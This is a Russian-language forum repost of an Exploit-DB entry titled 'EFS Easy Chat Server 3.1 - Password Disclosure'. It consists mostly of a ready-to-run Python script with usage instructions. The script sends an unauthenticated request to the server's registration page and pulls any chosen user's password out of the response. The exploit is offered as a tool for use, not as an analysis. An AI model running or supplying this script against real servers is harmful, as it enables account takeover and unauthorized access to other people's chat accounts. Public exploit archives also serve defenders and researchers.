Exploit EFS Easy Chat Server 3.1 - Password Disclosure

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
42153
Проверка EDB
  1. Пройдено
Автор
AITEZAZ MOHSIN
Тип уязвимости
WEBAPPS
Платформа
WINDOWS
CVE
N/A
Дата публикации
2017-06-09
EFS Easy Chat Server 3.1 - Password Disclosure
Код:
# Exploit Title: Easy Chat Server Remote Password Disclosure
# Date: 09/10/2017
# Software Link: http://echatserver.com/ecssetup.exe
# Exploit Author: Aitezaz Mohsin
# Vulnerable Version: v2.0 to v3.1
# Vulnerability Type: Pre-Auth Remote Password Disclosure
# Severity: Critical

# =========================================================================================================
#	Registeration page 'register.ghp' allows disclosing ANY user's password.
# Remote un-authenticated attackers can send HTTP GET requests to obtain ANY Easy Chat Server user password.
# =========================================================================================================

# USAGE: python exploit.py ip username

#!/usr/bin/python

import urllib
import re
import requests
import sys

ip = sys.argv[1]
username = sys.argv[2]

url = 'http://' + ip + '/register.ghp?username=' + username + '&password='
response = requests.get(url)
html = response.content

pattern = '<INPUT type="password" name="Password" maxlength="30"  value="(.+?)">'
result = re.compile(pattern)

password = re.findall(result,html)

x = ''.join(password)

password = x.replace("[", "")
password = x.replace("]", "")

print "Password: " + password
 
Источник
www.exploit-db.com

Похожие темы